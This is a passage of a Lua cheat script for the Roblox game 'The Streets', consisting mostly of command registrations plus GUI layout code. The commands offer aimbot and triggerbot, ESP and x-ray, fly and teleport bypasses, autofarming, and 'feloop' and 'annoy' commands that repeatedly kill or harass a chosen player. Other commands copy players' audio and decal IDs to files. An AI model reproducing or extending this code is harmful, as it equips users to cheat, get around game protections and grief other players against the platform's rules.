  2275. end)
  2276. end
  2277. end
  2278. end
  2279. end,"view",{},"Look through a different players perspective","[No Args]")
  2280.  
  2281. AddCommand(function()
  2282. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2283. workspace.CurrentCamera.CameraSubject = GetChar()
  2284. end,"unview",{},"Look through your own vision like a normal person","[No Args]")
  2285.  
  2286. AddCommand(function()
  2287. GunStomp = not GunStomp
  2288. notif("GunStomp","Has been set to "..tostring(GunStomp),5,nil)
  2289. end,"gunstomp",{},"Toggles GunStomp (On by default)","[No Args]")
  2290.  
  2291. AddCommand(function(Arguments)
  2292. CamLocking = not CamLocking
  2293. if Arguments[1] then
  2294. local Player = PlrFinder(Arguments[1])
  2295. if Player then
  2296. CamlockPlayer = Player
  2297. end
  2298. end
  2299. end,"camlock",{"lockcam","cl"},"Different type of aimbot (Uses camera instead of the remote)","[Player Name]")
  2300.  
  2301. AddCommand(function(Arguments)
  2302. if Arguments[1] then
  2303. if Arguments[1] == "auto" then
  2304. AutoFarm = not AutoFarm
  2305. return
  2306. end
  2307. if Arguments[1] == "sawed" then Arguments[1] = "sawed off" end
  2308. farm(Arguments[1])
  2309. end
  2310. end,"farm",{},"Farm (Cash,Sawed Off,Uzi,Shotty,Auto)","[Item/Auto]")
  2311.  
  2312. AddCommand(function()
  2313. ItemEsp = not ItemEsp
  2314. if ItemEsp then
  2315. for i,_ in pairs(FarmTable) do
  2316. local Part,String = find(i)
  2317. if Part ~= "None" then
  2318. Esp(Part,String)
  2319. end
  2320. end
  2321. else
  2322. local Children = workspace:GetChildren()
  2323. for i = 1,#Children do
  2324. Unesp(Children[i])
  2325. end
  2326. end
  2327. end,"itemesp",{},"Turns on ItemEsp","[No Args]")
  2328.  
  2329. AddCommand(function(Arguments)
  2330. if game.PlaceId ~= 455366377 then notif("Wont Work","Streets Only",5,nil) return end
  2331. if Arguments[1] then
  2332. if Arguments[1] == "sawed" then Arguments[1] = "sawedoff" end
  2333. if PartTable[Arguments[1]] then
  2334. GrabItem(Arguments[1],GetChar().Head.CFrame)
  2335. end
  2336. end
  2337. end,"get",{"tpto"},"(Burger,Drink,Ammo,Pipe,Machete,SawedOff,Spray,Uzi,Glock)","[Item]")
  2338.  
  2339. AddCommand(function(Arguments)
  2340. if Arguments[1] then
  2341. if PlaceTable[Arguments[1]] then
  2342. Teleport(PlaceTable[Arguments[1]])
  2343. elseif Arguments[1] == "banland" then
  2344. TeleportService:Teleport(4669040)
  2345. elseif Arguments[1] == "normalstreets" then
  2346. TeleportService:Teleport(455366377)
  2347. end
  2348. end
  2349. end,"place",{},"(SandBox,Jail,Gas,Court,Beach,Bank,BanLand,NormalStreets)","[Place]")
  2350.  
  2351. AddCommand(function(Arguments)
  2352. Blinking = not Blinking
  2353. if Blinking then
  2354. if Arguments[1] and tonumber(Arguments[1]) then
  2355. BlinkSpeed = Arguments[1]
  2356. else
  2357. BlinkSpeed = 2
  2358. end
  2359. end
  2360. notif("Blink","Has been set to "..tostring(Blinking),5,nil)
  2361. end,"blink",{},"Different method of speed (Uses CFrame)","[Number (Optional)]")
  2362.  
  2363. AddCommand(function(Arguments)
  2364. WalkShoot = not WalkShoot
  2365. notif("WalkShoot","Has been set to "..tostring(WalkShoot),5,nil)
  2366. end,"walkshoot",{"noslow"},"Allows you to turn On/Off Walk Shooting","[No Args]")
  2367.  
  2368. AddCommand(function(Arguments)
  2369. FeLoop = not FeLoop
  2370. if Arguments[1] then
  2371. FeLoop = true
  2372. local Player = PlrFinder(Arguments[1])
  2373. if Player then
  2374. GetChar():BreakJoints()
  2375. LoopPlayer = Player
  2376. end
  2377. else
  2378. LoopPlayer = nil
  2379. end
  2380. end,"feloop",{},"First you were a skid, Now you're annoying with a simple use of this command!","[Player]")
  2381.  
  2382. AddCommand(function(Arguments)
  2383. AnnoyOn = not AnnoyOn
  2384. if Arguments[1] then
  2385. if AnnoyOn then
  2386. local Player = PlrFinder(Arguments[1])
  2387. if Player and Player ~= LP then
  2388. AnnoyingPlayer = Player
  2389. end
  2390. end
  2391. end
  2392. end,"annoy",{"shield"},"Loop Teleports you infront of the Player","[Player]")
  2393.  
  2394. AddCommand(function(Arguments)
  2395. TriggerBot = not TriggerBot
  2396. if not TriggerBot then
  2397. wait()
  2398. AnnoyOn = false
  2399. AnnoyingPlayer = nil
  2400. AimbotAutoShoot = false
  2401. Flying = false
  2402. AutoDie = false
  2403. end
  2404. if Arguments[1] and TriggerBot then
  2405. AutoDie = true
  2406. CheckCommand("annoy "..Arguments[1])
  2407. AimbotAutoShoot = true
  2408. if not NeverSitting then
  2409. CheckCommand("neversit")
  2410. end
  2411. end
  2412. end,"triggerbot",{},"triggerbot goes brrrrrrrrrrrrrrrr","[Player]")
  2413.  
  2414. AddCommand(function(Arguments)
  2415. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2416. if RemoteGunBodyPos then
  2417. RemoteGunBodyPos:Destroy()
  2418. RemoteGunBodyPos = nil
  2419. RemoteGunPlayer = nil
  2420. end
  2421. if Arguments[1] then
  2422. local Player = PlrFinder(Arguments[1])
  2423. if Player then
  2424. RemoteGunPlayer = Player
  2425. RemoteGunBodyPos = createBodyPos(GetChar():FindFirstChildOfClass'Tool'.Handle)
  2426. end
  2427. end
  2428. end,"remotegun",{},"Hold any gun","[Player]")
  2429.  
  2430. AddCommand(function()
  2431. if game.PlaceId ~= 455366377 then notif("TriggerBotAutoReload","Only works on normal Streets",5,nil) return end
  2432. TriggerBotAutoReload = not TriggerBotAutoReload
  2433. end,"triggerbotautoreload",{},"Triggerbot auto reload (instead of resetting only works on Ts) (also probably buggy)","[No Args]")
  2434.  
  2435. AddCommand(function(Arguments)
  2436. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) then
  2437. if Arguments[1] == "down" then
  2438. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2439. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2440. elseif Arguments[1] == "up" then
  2441. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position - UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2442. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2443. end
  2444. end
  2445. end,"movechat",{},"Move Chat Up/Down with (Up/Down [Number])","[Up/Down] [Number]")
  2446.  
  2447. AddCommand(function(Arguments)
  2448. if Arguments[1] and Arguments[1] == "legacy" then
  2449. local Arm = GetChar():FindFirstChild'Right Arm'
  2450. if Arm then
  2451. Arm:Destroy()
  2452. end
  2453. else
  2454. AntiKill = true
  2455. ToolTable = LP.Backpack:GetChildren()
  2456. local Character = GetChar()
  2457. Character.ChildAdded:Connect(function(Tool)
  2458. if Tool:IsA'Tool' then
  2459. if table.find(ToolTable,Tool) then return end
  2460. Tool:Destroy()
  2461. end
  2462. end)
  2463. notif("AntiKill","Turn on noclip for best results")
  2464. end
  2465. end,"antikill",{},"Makes FE Loop not work (Legacy for removing right arm)","[Legacy (Optional)]")
  2466.  
  2467. AddCommand(function(Arguments)
  2468. if Arguments[1] then
  2469. local Player = PlrFinder(Arguments[1])
  2470. if Player and Player.Character then
  2471. local BoxModel = Player.Character:FindFirstChild'BoxModel' or Player.Character:FindFirstChild'BoomBox'
  2472. if BoxModel and BoxModel:FindFirstChild'Handle' then
  2473. if writefile then
  2474. writefile("AudioLog from "..Player.Name.." "..math.random(1,99)..".txt",string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2475. notif("Audio has been stolen.","Check your exploits workspace folder",5,nil)
  2476. else
  2477. print("Audio From: "..Player.Name.." Id: "..string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2478. notif("Audio has been stolen.","It has been printed to your console (F9) due to your exploit not supporting writefile",5,nil)
  2479. end
  2480. end
  2481. end
  2482. end
  2483. end,"steal",{},"Steals a persons audio","[Player]")
  2484.  
  2485. AddCommand(function(Arguments)
  2486. if Arguments[1] then
  2487. local Player = PlrFinder(Arguments[1])
  2488. if Player then
  2489. local Decal = workspace:FindFirstChild(Player.Name.."Spray")
  2490. if Decal and Decal:FindFirstChildOfClass'Decal' then
  2491. if writefile then
  2492. writefile("DecalLog from "..Player.Name.." "..math.random(1,99)..".txt",tostring(string.match(Decal.Decal.Texture,'%d+')))
  2493. else
  2494. print("Decal From: "..Player.Name.." Id: "..tostring(string.match(Decal.Decal.Texture,'%d+')))
  2495. end
  2496. end
  2497. end
  2498. end
  2499. end,"decalsteal",{},"Steals a persons decal","[Player]")
  2500.  
  2501. AddCommand(function()
  2502. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2503. if RainbowHats then RainbowHats = false LP.Backpack.Stank:FireServer("ren") end
  2504. if RainbowFrame.Visible then RainbowFrame.Visible = false return end
  2505. RainbowScrolling:ClearAllChildren()
  2506. RainbowFrame.Visible = true
  2507. local C = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  2508. createRainbow(UDim2.new(-0.002,0,0,-10),"All")
  2509. for i = 1,#C do
  2510. local Child = C[i]
  2511. if Child:IsA'TextButton' and Child:FindFirstChild'typ' then
  2512. createRainbow(UDim2.new(-0.002,0,0,-40 + (i * 30)),Child.typ.Value,Child.typ)
  2513. end
  2514. end
  2515. end,"rainbowhats",{},"Opens a GUI so you can pick what hat to rainbowize","[No Args]")
  2516.  
  2517. AddCommand(function(Arguments)
  2518. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2519. if Arguments[1] and tonumber(Arguments[1]) then
  2520. Rainbowdelay = tonumber(Arguments[1])
  2521. end
  2522. end,"rainbowhatdelay",{},"Changes the delay for rainbow hats","[Number]")
  2523.  
  2524. AddCommand(function(Arguments)
  2525. if not Arguments[2] then
  2526. Flying = not Flying
  2527. end
  2528. if Arguments[1] then
  2529. if Arguments[1] == "up" then
  2530. FlySpeed = FlySpeed + Arguments[2] or 1
  2531. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2532. elseif Arguments[1] == "down" then
  2533. FlySpeed = FlySpeed - Arguments[2] or 1
  2534. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2535. elseif tonumber(Arguments[1]) then
  2536. FlySpeed = tonumber(Arguments[1])
  2537. if Flying then
  2538. Fly()
  2539. end
  2540. end
  2541. else
  2542. if Flying then
  2543. Fly()
  2544. end
  2545. end
  2546. end,"fly",{},"Allows you to fly [Up/Down Speed]","[Up/Down Speed]/Speed")
  2547.  
  2548. AddCommand(function()
  2549. DoubleJumpEnabled = not DoubleJumpEnabled
  2550. notif("DoubleJumpEnabled","Has been set to "..tostring(DoubleJumpEnabled),5,nil)
  2551. end,"doublejump",{"infinitejump"},"Allows you to jump forever","[No Args]")
  2552.  
  2553. AddCommand(function()
  2554. TpBypass = not TpBypass
  2555. GetChar():BreakJoints()
  2556. end,"tpbypass",{},"Teleportation Bypass (Allows Infinite FlySpeed etc)","[No Args]")
  2557.  
  2558. AddCommand(function(Arguments)
  2559. if Arguments[1] then
  2560. if WhiteListedParts[Arguments[1]] then
  2561. AimMode = WhiteListedParts[Arguments[1]]
  2562. notif("AimTarget","has been set to "..AimMode,5,"rbxassetid://1281284684")
  2563. end
  2564. end
  2565. end,"aimtarget",{},"Changes the aim target [Head/Torso/HumanoidRootPart/Prediction]","[Head/Torso/HumanoidRootPart/Prediction]")
  2566.  
  2567. AddCommand(function(Arguments)
  2568. if Arguments[1] then
  2569. if Arguments[1] == "leftclick" then
  2570. AimlockMode = "LeftClick"
  2571. elseif Arguments[1] == "rightclick" then
  2572. AimlockMode = "RightClick"
  2573. elseif Arguments[1] == "nomouse" then
  2574. AimlockMode = "NoMouse"
  2575. elseif Arguments[1] == "closest" then
  2576. AimlockMode = "Closest"
  2577. local PlayersT = Players:GetPlayers()
  2578. for i = 1,#PlayersT do
  2579. if PlayersT[i] ~= LP then
  2580. AimlockClosest(PlayersT[i])
  2581. end
  2582. end
  2583. end
  2584. updateHotkeys(ConfigurationFile)
  2585. end
  2586. end,"aimmode",{"aimlockmode"},"LeftClick/RightClick/NoMouse/Closest (Sets the way you can aimlock)","[LeftClick/RightClick/NoMouse/Closest]")
  2587.  
  2588. AddCommand(function(Arguments)
  2589. if Arguments[1] and tonumber(Arguments[1]) then
  2590. AimbotVelocity = tonumber(Arguments[1])
  2591. if AimMode ~= "OldPrediction" and AimMode ~= "Prediction" then
  2592. notif("Note:","This only works with aimtarget oldprediction/prediction",5,nil)
  2593. end
  2594. end
  2595. end,"aimvelocity",{},"Changes your Aimbots Velocity (If mode is set to a prediction mode) (Default: 5)","[Number]")
  2596.  
  2597. AddCommand(function(Arguments)
  2598. if Arguments[1] and Arguments[1] ~= "all" then
  2599. local Player = PlrFinder(Arguments[1])
  2600. if Player and Player ~= LP and tostring(AimlockTarget) ~= tostring(Player) then
  2601. AimlockTarget,Aimlock = Player.Character,true
  2602. local Connection;Connection = Player.CharacterAdded:Connect(function(C)
  2603. if tostring(C) == tostring(AimlockTarget) then
  2604. AimlockTarget = C
  2605. else
  2606. Connection:Disconnect()
  2607. Connection = nil
  2608. end
  2609. end)
  2610. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  2611. end
  2612. else
  2613. Aimlock = not Aimlock
  2614. notif("Aimlock","Has been set to "..tostring(Aimlock),5,nil)
  2615. end
  2616. end,"aimlock",{"aim"},"Aimbot (Different method than camlock)","[Player]")
  2617.  
  2618. --[[AddCommand(function()
  2619. if game.PlaceId ~= 455366377 then notif("BFG","Streets only",5,nil) end
  2620. BfgOn = not BfgOn
  2621. end,"bfg",{},"Shitty bfg I made (Normal Ts Only)","[No Args]")]]
  2622.  
  2623. AddCommand(function(Arguments)
  2624. if Arguments[1] then
  2625. if Arguments[1] == "triggerbot" then
  2626. AutoTriggerBot = not AutoTriggerBot
  2627. notif("AutoTriggerBot","Has been set to "..tostring(AutoTriggerBot),5,nil)
  2628. elseif Arguments[1] == "feloop" then
  2629. AutoFeloop = not AutoFeloop
  2630. notif("AutoFeloop","Has been set to "..tostring(AutoFeloop),5,nil)
  2631. end
  2632. else
  2633. AutoTarget = not AutoTarget
  2634. notif("AutoTarget","Has been set to "..tostring(AutoTarget),5,nil)
  2635. end
  2636. end,"autotarget",{"autolock"},"autotarget [triggerbot/feloop/no arguments] triggerbot auto triggerbots when someone hits you,no args auto camlocks/aimlocks","[TriggerBot/FeLoop/No Args]")
  2637.  
  2638. AddCommand(function()
  2639. AimbotAutoShoot = not AimbotAutoShoot
  2640. notif("AimbotAutoShoot","Has been set to "..tostring(AimbotAutoShoot),5,nil)
  2641. end,"aimbotautoshoot",{},"Auto shoots aimbot","[No Args]")
  2642.  
  2643. AddCommand(function(Arguments)
  2644. if Arguments[1] then
  2645. ClickTpKey = Arguments[1]:sub(1,1)
  2646. updateHotkeys(ConfigurationFile)
  2647. else
  2648. ClickTpKey = nil
  2649. updateHotkeys(ConfigurationFile)
  2650. end
  2651. end,"clicktp",{"ctp"},"Allows you to teleport around the map with the Key you set","[Key]")
  2652.  
  2653. AddCommand(function()
  2654. AutoStomp = not AutoStomp
  2655. end,"autostomp",{},"Turns On/Off AutoStomp","[No Args]")
  2656.  
  2657. AddCommand(function(Arguments)
  2658. if Arguments[1] then
  2659. if Arguments[1] == "remove" and Arguments[2] then
  2660. local Player = PlrFinder(Arguments[2])
  2661. if Player and Player ~= LP then
  2662. for i,v in pairs(StompWhitelist) do if Player.UserId == v then table.remove(StompWhitelist,i) end
  2663. end
  2664. else
  2665. local Player = PlrFinder(Arguments[1])
  2666. if Player and Player ~= LP then
  2667. table.insert(StompWhitelist,Player.UserId)
  2668. end
  2669. end
  2670. end
  2671. end
  2672. end,"autostompwhitelist",{},"Adds the player to the whitelist so they don't get stomped, to remove use remove before their name","[Player]")
  2673.  
  2674. AddCommand(function(Arguments)
  2675. if not Freecam then
  2676. Freecam = true
  2677. FreeCam(Arguments[1])
  2678. else
  2679. Freecam = false
  2680. end
  2681. end,"freecam",{},"Allows you to \"free\" view the map","[Speed (Optional)]")
  2682.  
  2683. AddCommand(function()
  2684. GravGunTool = Instance.new('Tool',LP.Backpack)
  2685. GravGunTool.Name = "GravGun"
  2686. GravGunTool.RequiresHandle = false
  2687. local Handle = Instance.new('Part',GravGunTool)
  2688. Handle.Name = "Handle"
  2689. Handle.Transparency = 1
  2690. end,"gravgun",{"gravitygun"},"Gmod Gravity gun","[Keys: Q,V] (No Args)")
  2691.  
  2692. AddCommand(function()
  2693. ExploiterDetectionOn = not ExploiterDetectionOn
  2694. notif("ExploiterDetection","Has been set to "..tostring(ExploiterDetectionOn),5,nil)
  2695. end,"exploiterdetection",{},"Detects exploiters (Has a chance to false flag)","[No Args]")
  2696.  
  2697. AddCommand(function(Arguments)
  2698. if Arguments[1] then
  2699. if Arguments[1] == "image" then
  2700. if Arguments[2] then
  2701. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id="..Arguments[2]
  2702. end
  2703. elseif Arguments[1] == "none" then
  2704. CmdBarImageLabel.Image = ""
  2705. elseif Arguments[1] == "default" then
  2706. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id=2812081613"
  2707. end
  2708. updateHotkeys(ConfigurationFile)
  2709. end
  2710. end,"commandbarimage",{"cmdbarimage"},"Changes the command bar image","[Image/None/Default]")
  2711.  
  2712. AddCommand(function(Arguments)
  2713. if Arguments[1] then
  2714. local Player = PlrFinder(Arguments[1])
  2715. if Player and Player ~= LP then
  2716. if typeof(Player) == "table" then
  2717. for i = 1,#Player do
  2718. local ActualPlr = Player[i]
  2719. if ActualPlr ~= LP and ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2720. if Arguments[1] == "users" and AdminUserTable[ActualPlr] or Arguments[1] ~= "users" then
  2721. EspTable2[ActualPlr] = true
  2722. Esp(ActualPlr.Character.Head,Player.Name)
  2723. local EspEvent;EspEvent = ActualPlr.CharacterAdded:Connect(function(C)
  2724. local Head = C:WaitForChild'Head'
  2725. if EspTable[Player] then
  2726. Esp(Head,Player.Name)
  2727. else
  2728. EspEvent:Disconnect()
  2729. end
  2730. end)
  2731. end
  2732. end
  2733. end
  2734. else
  2735. if Player.Character and Player.Character:FindFirstChild'Head' then
  2736. EspTable2[Player] = true
  2737. Esp(Player.Character.Head,Player.Name)
  2738. local EspEvent;EspEvent = Player.CharacterAdded:Connect(function(C)
  2739. local Head = C:WaitForChild'Head'
  2740. if EspTable[Player] then
  2741. Esp(Head,Player.Name)
  2742. else
  2743. EspEvent:Disconnect()
  2744. end
  2745. end)
  2746. end
  2747. end
  2748. end
  2749. end
  2750. end,"esp",{},"Find a player anywhere in the map","[Player/All/Users]")
  2751.  
  2752. AddCommand(function(Arguments)
  2753. if Arguments[1] then
  2754. local Player = PlrFinder(Arguments[1])
  2755. if Player then
  2756. if typeof(Player) == "table" then
  2757. for i = 1,#Player do
  2758. local ActualPlr = Player[i]
  2759. if ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2760. Unesp(ActualPlr)
  2761. end
  2762. end
  2763. else
  2764. if Player.Character and Player.Character:FindFirstChild'Head' then
  2765. Unesp(Player)
  2766. end
  2767. end
  2768. end
  2769. end
  2770. end,"unesp",{},"obviously removes the esp?","[Player/All]")
  2771.  
  2772. AddCommand(function(Arguments)
  2773. if Arguments[1] then
  2774. if Arguments[1] == "esp" then
  2775. EspColour = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
  2776. elseif Arguments[1] == "bullet" then
  2777. BulletColour = ColorSequence.new(Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0))
  2778. end
  2779. end
  2780. end,"colour",{"color"},"Colour esp/bullet [3 Args (Number) (Optional)] defaults to 0","[Esp/Bullet] [3 numbers (Optional)]")
  2781.  
  2782. AddCommand(function()
  2783. KeysFrame.Visible = not KeysFrame.Visible
  2784. end,"hotkey",{"key"},"For Setting hotkeys, Type in the textbox, click the button and press a key","[No Args]")
  2785.  
  2786. AddCommand(function(Arguments)
  2787. if Arguments[1] then
  2788. for Index,Key in pairs(Keys) do
  2789. if Key:match'[%a%d]+$' == Arguments[1]:upper() or Key:match("[%a%d]+$") == Arguments[1] then
  2790. table.remove(Keys,Index)
  2791. updateHotkeys(ConfigurationFile)
  2792. end
  2793. end
  2794. end
  2795. end,"removekey",{"rkey"},"Removes a hotkey to a command","[Key]")
  2796.  
  2797. AddCommand(function()
  2798. Keys = {}
  2799. ClickTpKey = ""
  2800. updateHotkeys(ConfigurationFile)
  2801. end,"removeallhotkeys",{"removeallkeys"},"Removes all hotkeys","[No Args]")
  2802.  
  2803. AddCommand(function(Arguments)
  2804. if readfile and writefile then
  2805. if Arguments[1] then
  2806. if Arguments[1] == "default" then
  2807. ConfigurationFile = "CyrusStreetsAdminSettings.json"
  2808. elseif pcall(readfile,Arguments[1]..".json") then
  2809. ConfigurationFile = Arguments[1]..".json"
  2810. else
  2811. ConfigurationFile = Arguments[1]..".json"
  2812. initalizeHotkeys(ConfigurationFile)
  2813. end
  2814. runHotkeys(ConfigurationFile)
  2815. end
  2816. end
  2817. end,"config",{},"Changes Configs (Useful for having different profiles i.e legit etc)","[Config Name]")
  2818.  
  2819. AddCommand(function(Arguments)
  2820. if Arguments[1] then
  2821. if Arguments[1] == "wireframe" then
  2822. Xray(Arguments[1],"wireframe")
  2823. else
  2824. notif("Xray","Sorry, Only [Xray WireFrame/No Args] Work",5,nil)
  2825. end
  2826. else
  2827. Xray()
  2828. end
  2829. end,"xray",{},"see through walls (also has wireframe mode which looks cool but kills fps)","[WireFrame/No Args]")
  2830.  
  2831. -- [[ End ]] --
  2832.  
  2833. -- [[ Gui Initalization ]] --
  2834.  
  2835. coroutine.resume(coroutine.create(function()
  2836. -- Rainbow Hats --
  2837. RainbowFrame.Visible = false
  2838. RainbowFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2839. RainbowFrame.BackgroundTransparency = 0.6
  2840. RainbowFrame.Position = UDim2.new(0.3,0,0.17,0)
  2841. RainbowFrame.Size = UDim2.new(0,460,0,359)
  2842. RainbowFrame.AnchorPoint = Vector2.new(0,0)
  2843.  
  2844. RainbowLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2845. RainbowLabel.BackgroundTransparency = 0.3
  2846. RainbowLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2847. RainbowLabel.BorderSizePixel = 2
  2848. RainbowLabel.Position = UDim2.new(-0.002,0,-0.14,0)
  2849. RainbowLabel.Size = UDim2.new(0,460,0,50)
  2850. RainbowLabel.Font = Enum.Font.SciFi
  2851. RainbowLabel.Text = "Rainbow Hats"
  2852. RainbowLabel.TextColor3 = Color3.fromRGB(255,170,255)
  2853. RainbowLabel.TextSize = 50
  2854.  
  2855. RainbowScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2856. RainbowScrolling.BackgroundTransparency = 0.3
  2857. RainbowScrolling.BorderColor3 = Color3.fromRGB(170,0,0)
  2858. RainbowScrolling.BorderSizePixel = 2
  2859. RainbowScrolling.Position = UDim2.new(-0.0013,0,-0.0006,0)
  2860. RainbowScrolling.Size = UDim2.new(0,460,0,359)
  2861. RainbowScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2862. RainbowScrolling.ScrollBarThickness = 10
  2863.  
  2864. CmdsFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2865. CmdsFrame.BorderColor3 = Color3.fromRGB(170,0,0)
  2866. CmdsFrame.BorderSizePixel = 0
  2867. CmdsFrame.Position = UDim2.new(0.34,0,0.16,0)
  2868. CmdsFrame.Size = UDim2.new(0,400,0,350)
  2869. CmdsFrame.Style = Enum.FrameStyle.RobloxSquare
  2870. CmdsFrame.Visible = false
  2871. CmdsFrame.AnchorPoint = Vector2.new(0,0)
  2872.  
  2873. -- Help Gui --
  2874.  
  2875. CmdsLabel.BackgroundColor3 = Color3.fromRGB(116,0,0)
  2876. CmdsLabel.BackgroundTransparency = 0.2
  2877. CmdsLabel.BorderColor3 = Color3.fromRGB(49,0,0)
  2878. CmdsLabel.BorderSizePixel = 0
  2879. CmdsLabel.Position = UDim2.new(-0.02,0,-0.15,0)
  2880. CmdsLabel.Size = UDim2.new(0,400,0,43)
  2881. CmdsLabel.Font = Enum.Font.SciFi
  2882. CmdsLabel.Text = "Commands"
  2883. CmdsLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2884. CmdsLabel.TextSize = 20
  2885.  
  2886. CmdsScrolling.Active = true
  2887. CmdsScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2888. CmdsScrolling.BackgroundTransparency = 1
  2889. CmdsScrolling.BorderColor3 = Color3.fromRGB(170,0,0)
  2890. CmdsScrolling.BorderSizePixel = 0
  2891. CmdsScrolling.Position = UDim2.new(-0.022,0,-0.02,0)
  2892. CmdsScrolling.Size = UDim2.new(0,400,0,350)
  2893. CmdsScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2894. CmdsScrolling.ScrollBarThickness = 10
  2895.  
  2896. -- Command bar --
  2897.  
  2898. CmdBarFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2899. CmdBarFrame.BackgroundTransparency = 0.8
  2900. CmdBarFrame.Size = UDim2.new(0,197,0,41)
  2901. CmdBarFrame.Position = UDim2.new(1.5,0,1.5,0)
  2902. CmdBarFrame.AnchorPoint = Vector2.new(0.5,0.5)
  2903.  
  2904. CmdBarTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2905. CmdBarTextBox.BackgroundTransparency = 0.4
  2906. CmdBarTextBox.BorderColor3 = Color3.fromRGB(170,0,0)
  2907. CmdBarTextBox.BorderSizePixel = 2
  2908. CmdBarTextBox.Position = UDim2.new(0,0,-0.8,0)
  2909. CmdBarTextBox.Size = UDim2.new(0,199,0,41)
  2910. CmdBarTextBox.Font = Enum.Font.SciFi
  2911. CmdBarTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  2912. CmdBarTextBox.TextSize = 15
  2913. CmdBarTextBox.TextWrapped = true
  2914. CmdBarTextBox.ClearTextOnFocus = true
  2915.  
  2916. CmdBarImageLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2917. CmdBarImageLabel.Size = UDim2.new(0,199,0,145)
  2918. CmdBarImageLabel.Image = CmdBarImage
  2919.  
  2920. -- Values GUI --
  2921.  
  2922. ValuesFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2923. ValuesFrame.BackgroundTransparency = 1
  2924. ValuesFrame.Position = UDim2.new(0.15,0,1,0)
  2925. ValuesFrame.AnchorPoint = Vector2.new(0,1)
  2926. ValuesFrame.Size = UDim2.new(0,160,0,160)
  2927.  
  2928. ValuesTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2929. ValuesTextLabel.BackgroundTransparency = 0.6
  2930. ValuesTextLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2931. ValuesTextLabel.Position = UDim2.new(0,0,0,0)
  2932. ValuesTextLabel.Size = UDim2.new(0,160,0,160)
  2933. ValuesTextLabel.Font = Enum.Font.Code
  2934. ValuesTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2935. ValuesTextLabel.TextSize = 14
  2936. ValuesTextLabel.TextWrapped = true
  2937. ValuesTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  2938.  
  2939. -- Hotkeys GUI --
  2940.  
  2941. HotkeysFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2942. HotkeysFrame.BackgroundTransparency = 1
  2943. HotkeysFrame.Position = UDim2.new(0.8,0,1,0)
  2944. HotkeysFrame.AnchorPoint = Vector2.new(1,1)
  2945. HotkeysFrame.Size = UDim2.new(0,160,0,160)
  2946.  
  2947. HotkeysTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2948. HotkeysTextLabel.BackgroundTransparency = 0.6
  2949. HotkeysTextLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2950. HotkeysTextLabel.Position = UDim2.new(0,0,0,0)
  2951. HotkeysTextLabel.Text = "Open Command Bar: '\nGunStomp: E"
  2952. HotkeysTextLabel.Size = UDim2.new(0,160,0,160)
  2953. HotkeysTextLabel.Font = Enum.Font.Code
  2954. HotkeysTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2955. HotkeysTextLabel.TextSize = 14
  2956. HotkeysTextLabel.TextWrapped = true
  2957. HotkeysTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  2958.  
  2959. -- Damage Indicator --
  2960.  
  2961. DmgIndicator.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2962. DmgIndicator.BackgroundTransparency = 0.7
  2963. DmgIndicator.BorderSizePixel = 3
  2964. DmgIndicator.Position = UDim2.new(0,0,1,0)
  2965. DmgIndicator.Size = UDim2.new(0,385,0,50)
